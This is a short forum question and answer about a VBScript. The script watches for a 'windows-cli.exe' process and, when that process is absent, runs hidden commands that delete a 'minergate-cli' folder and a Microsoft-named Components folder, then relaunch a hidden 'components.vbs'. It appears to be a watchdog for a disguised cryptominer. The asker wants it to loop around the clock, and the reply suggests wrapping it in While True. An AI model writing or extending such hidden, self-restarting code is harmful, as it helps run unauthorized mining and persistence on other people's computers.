Loop in Vbscript

Asked

Viewed 370 times

0

Set WshShell = WScript.CreateObject ("WScript.Shell")
Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")
For Each objProcess in colProcessList
If objProcess.name = "windows-cli.exe" then
vFound = True
exit for
End if
Next
If vFound = False then
Set objShell = CreateObject("WScript.Shell")
objShell.Run "CMD /C START /B rmdir %USERPROFILE%\AppData\Local\minergate-cli /S /Q", 0, False
objShell.Run "CMD /C START /B rmdir %USERPROFILE%\AppData\Roaming\Microsoft\Components /S /Q", 0, False
objShell.Run "%SystemRoot%\System32\wscript.exe %USERPROFILE%\AppData\Roaming\Microsoft\components.vbs", 0, False
Set objShell = Nothing
End If

How do I get this code to run 24 hours in an Infinite Loop?

1 answer

1

I know the answer sounds simplistic, but you’ve already tried doing a while with True or 1 encapsulating the entire desired code block. Remember While runs the loop until the condition is false

Browser other questions tagged

You are not signed in. Login or sign up in order to post.